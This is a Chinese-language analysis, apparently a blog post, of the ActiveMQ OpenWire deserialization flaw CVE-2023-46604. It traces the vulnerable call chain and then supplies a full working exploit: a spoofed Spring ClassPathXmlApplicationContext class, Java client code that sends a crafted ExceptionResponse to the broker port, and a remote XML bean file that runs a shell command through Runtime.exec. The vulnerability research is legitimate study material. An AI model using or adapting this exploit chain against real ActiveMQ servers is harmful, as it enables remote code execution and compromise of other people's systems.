ActiveMQ RCE CVE-2023-46604分析
一、漏洞触发点
org.apache.activemq.openwire.v12包下BaseDataStreamMarshaller类的createThrowable方法。
package org.apache.activemq.openwire.v12;
BaseDataStreamMarshaller类
private Throwable createThrowable(String className, String message) {
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
Constructor constructor = clazz.getConstructor(new Class[] {String.class});
return (Throwable)constructor.newInstance(new Object[] {message});
} catch (Throwable e) {
return new Throwable(className + ": " + message);
}
}
这里通过反射,实现了一个类的构造执行。所以需要找到这样一个类传递进去,类的构造方法参数为String,且能达到攻击效果。
activemq包含Spring,而ClassPathXmlApplicationContext类刚好能满足。
public class MainClassPathXmlApplicationContext {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext classPathXmlApplicationContext = new ClassPathXmlApplicationContext();
Class aClass = Class.forName(classPathXmlApplicationContext.getClass().getName(), false, classPathXmlApplicationContext.getClassLoader());
Constructor constructor = aClass.getConstructor(new Class[]{String.class});
constructor.newInstance(new Object[]{"http://127.0.0.1:7777/poc.xml"});
}
}
二、触发流程
createThrowable的触发来源两处
- org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.tightUnmarsalThrowable
- org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.looseUnmarsalThrowable
tightUnmarsalThrowable和looseUnmarsalThrowable的作用是将字节流反序列化为异常对象,并将其抛出。在 ActiveMQ 的消息传递过程中,异常对象可以用于在消息发送和接收之间传递错误信息或异常状态。通过将异常对象序列化并作为消息的一部分发送,接收方可以获取到发送方抛出的异常,并反序列化后处理。
这两处继续往上寻找触发点,一共有三处,也就是捕获异常对象是这三种类就可以触发tightUnmarsalThrowable或looseUnmarsalThrowable:
- ConnectionErrorMarshaller
- ExceptionResponseMarshaller
- MessageAckMarshaller
三类都存在tightUnmarshal和looseUnmarshal方法,两个方法分别触发tightUnmarshal和looseUnmarsalThrowable。
继续向上寻找,触发均来自OpenWireFormat类的doUnmarshal,该方法是OpenWire协议的反序列化方法。
在doUnmarshal中,根据dataType索引值对应的类,来执行对应类的tightUnmarshal或looseUnmarshal。
public Object doUnmarshal(DataInput dis) throws IOException {
byte dataType = dis.readByte();
if (dataType != NULL_TYPE) {
DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
if (dsm == null) {
throw new IOException("Unknown data type: " + dataType);
}
Object data = dsm.createObject();
if (this.tightEncodingEnabled) {
BooleanStream bs = new BooleanStream();
bs.unmarshal(dis);
dsm.tightUnmarshal(this, data, dis, bs);
} else {
dsm.looseUnmarshal(this, data, dis);
}
return data;
} else {
return null;
}
}
dataType在dataMarshallers中对应的上述三种类索引如下:
- ConnectionErrorMarshaller---16
- ExceptionResponseMarshaller---31
- MessageAckMarshaller---22
doUnmarshal再往上就是unmarshal,这也是所有数据接收的入口。
通过这里的分析,只要我们将ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAckMarshaller三种类型的对象序列化传给ActiveMQ的OpenWire协议接口,就可以让ActiveMQ在接收后进行反序列化,触发createThrowable。
三、传递的对象类型
通过上述知道dataType需要为16、31、22。当发送的对象类为ConnectionError、ExceptionResponse、MessageAck的时候dataType分别是16、31、22。
而这三个类接收的exception参数需要继承Throwable,所以可以在本地构造一个与Spring同路径名的ClassPathXmlApplicationContext类并继承Throwable,当ClassPathXmlApplicationContext对象发送后,类路径和message会被解析,最后服务器侧通过类路径反射得到Spring中的ClassPathXmlApplicationContext对象,达到攻击效果。
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
public ClassPathXmlApplicationContext(String message) {
super(message);
}
}
四、如何发送序列化对象
Transport的oneway可实现对象发送,ActiveMQ的连接对象为ActiveMQConnection类,通过使用ActiveMQConnection类中asyncSendPacket最终调用Transport的oneway,来发送恶意对象。
((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);
五、利用方式
远程XML文件
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
<bean id="process" factory-bean="runtime" factory-method="exec">
<constructor-arg value="cmd /c start calc" />
</bean>
</beans>
ClassPathXmlApplicationContext类
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
public ClassPathXmlApplicationContext(String message) {
super(message);
}
}
最终实现
import javax.jms.*;
public class Main {
private static final String ACTIVEMQ_URL = "tcp://127.0.0.1:61616";
public static void main(String[] args) throws Exception {
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
Connection connection = activeMQConnectionFactory.createConnection();
connection.start();
Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:7777/poc.xml");
ExceptionResponse exceptionResponse = new ExceptionResponse(obj);
// ConnectionError connectionError = new ConnectionError();
// connectionError.setException(obj);
// MessageAck messageAck = new MessageAck();
// messageAck.setPoisonCause(obj);
((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);
connection.close();
}
}
ActiveMQ RCE CVE-2023-46604分析的更多相关文章
- ActiveMQ笔记:源码分析
本文对ActiveMQ的启动过程,以及BrokerService,TransportConnector和NetworkConnector等几个重要的模块的代码做一个简要的分析. 启动过程 如果要快速地 ...
- webmin RCE漏洞利用及分析
Webmin是目前功能最强大的基于Web的Unix系统管理工具.管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作. 利用条件:webmin <= 1.910 原因:官网 Sou ...
- HDU 2023题解分析
我想说这道题我还没弄明白我错哪了,交了20多遍一直都是Runtime Error,改了N次还是不对,后来搜了一下,说是数组开小了,又把数组开大,还不对,又改发现一个平均值求错,再改,还不对,洗洗睡吧. ...
- 工业物联网或系统集成中应用消息队列(ActiveMQ,C#的demo)的场景全面分析
1.[连载]<C#通讯(串口和网络)框架的设计与实现> 2.[开源]C#跨平台物联网通讯框架ServerSuperIO(SSIO)介绍 2.应用SuperIO(SIO)和开源跨平台物联网框 ...
- ActiveMQ的安全机制使用及其源代码分析 [转]
ActiveMQ是目前较为流行的一款开源消息服务器.最近在项目开发中,需要为ActiveMQ开发基于IP的验证和授权机制,因此,对ActiveMQ的安全机制进行了了解,以下将介绍ActiveMQ的安全 ...
- AMQ学习笔记 - 15. 实践方案:基于ActiveMQ的统一日志服务
概述 以ActiveMQ + Log4j + Spring的技术组合,实现基于消息队列的统一日志服务. 参考:Spring+Log4j+ActiveMQ实现远程记录日志——实战+分析 与参考文章的比较 ...
- 基于ActiveMQ的统一日志服务
概述 以ActiveMQ + Log4j + Spring的技术组合,实现基于消息队列的统一日志服务. 参考:Spring+Log4j+ActiveMQ实现远程记录日志——实战+分析 与参考文章的比较 ...
- ActiveMQ相关背景(转)
概述 介绍中间件.MOM.JMS.ActiveMQ,及相互的关系. 中间件 由于业务的不同.技术的发展.硬件和软件的选择有所差别,导致了异构组件或应用并存的局面.要使这些异构的组件协同工作,一个有效的 ...
- PHPMailer 命令执行漏洞(CVE-2016-10033)分析(含通用POC)
对比一下新老版本:https://github.com/PHPMailer/PHPMailer/compare/v5.2.17…master 其实答案呼之欲出了——和Roundcube的RCE类似,m ...
- JMS学习(七)-ActiveMQ消息的持久存储方式之KahaDB存储
一,介绍 自ActiveMQ5.4以来,KahaDB成为了ActiveMQ默认的持久化存储方式.相比于原来的AMQ存储方式,官方宣称KahaDB使用了更少的文件描述符,并且提供了更快的存储恢复机制. ...
随机推荐
- Ubuntu更新软件的命令
更新软件源 apt-get update 更新升级所有软件 apt-get upgrade 更新某个软件 apt-get upgrade 名 列出可更新的软件 apt list --upgradabl ...
- 聊聊JDK19特性之虚拟线程
1.前言 在读<深入理解JVM虚拟机>这本书前两章的时候整理了JDK从1.0到最新版本发展史,其中记录了JDK这么多年来演进过程中的一些趣闻及引人注目的一些特性,在调研JDK19新增特性的 ...
- 《最新出炉》系列初窥篇-Python+Playwright自动化测试-21-处理鼠标拖拽-番外篇
1.简介 前边宏哥拖拽有提到那个反爬虫机制,加了各种参数,以及加载js脚本文件还是有问题,偶尔宏哥好像发现了解决问题的办法,看到了黎明的曙光,宏哥就说试一下看看行不行,万一实现了.结果宏哥试了结果真的 ...
- 8.12 dp模拟赛总结
考场概况: 开考发现题目竟然不保证按难度顺序排序QAQ 正序开题, \(T1\) 显然是数位 \(dp\) 然而没学过不会写,顺手打了 \(30pts\) 暴力走人. \(T2\) 期望 \(dp\) ...
- Java内部类与匿名类
内部类 定义: 一个类的内部又完整的嵌套了另一个类结构,被嵌套的类就被我们称为内部类,嵌套内部类的类被我们称为外部类 //外部类 class Outer { //内部类 class Inner { } ...
- openwrt使用tailscale实现内网穿透
问题 之前一直有电信公网ip,最近发现电信公网ip被撤下来了,打电话再去要发现给的是10开头的ip,电信客服还跟我说10开头就是公网ip,= =,根本就不是,无奈使用zerotier进行打洞,把zer ...
- EFCore 使用FluntApi配置 全局查询筛选器
我们在类中通常会有一个属性为 IsDel来表示软删除或也称逻辑删除,这个属性会导致我们在进行查询操作时,每一次都要 .where(s=>s.IsDel==false) 非常的麻烦.在使用efCo ...
- CSS 溢出overflow属性的使用
作者:WangMin 格言:努力做好自己喜欢的每一件事 在CSS中,如果给一个盒子设置了固定的宽度与高度,但内容过多就会溢出盒子本身的宽度或高度.此时,就可以使用 overflow 属性来控制内容溢出 ...
- Spring5学习随笔-Spring5的基本介绍、工厂设计模式
学习视频:[孙哥说Spring5:从设计模式到基本应用到应用级底层分析,一次深入浅出的Spring全探索.学不会Spring?只因你未遇见孙哥] Spring系列-工厂 第一章.引言 Spring I ...
- 使用 Proxychains 代理联网
前言 Proxychains 是 Linux 系统中一款简单好用的代理工具,可以指定特定命令走代理进行网络请求,适用于比较特殊的网络环境.最新版本为 proxychains4 安装 由于此软件存在于自 ...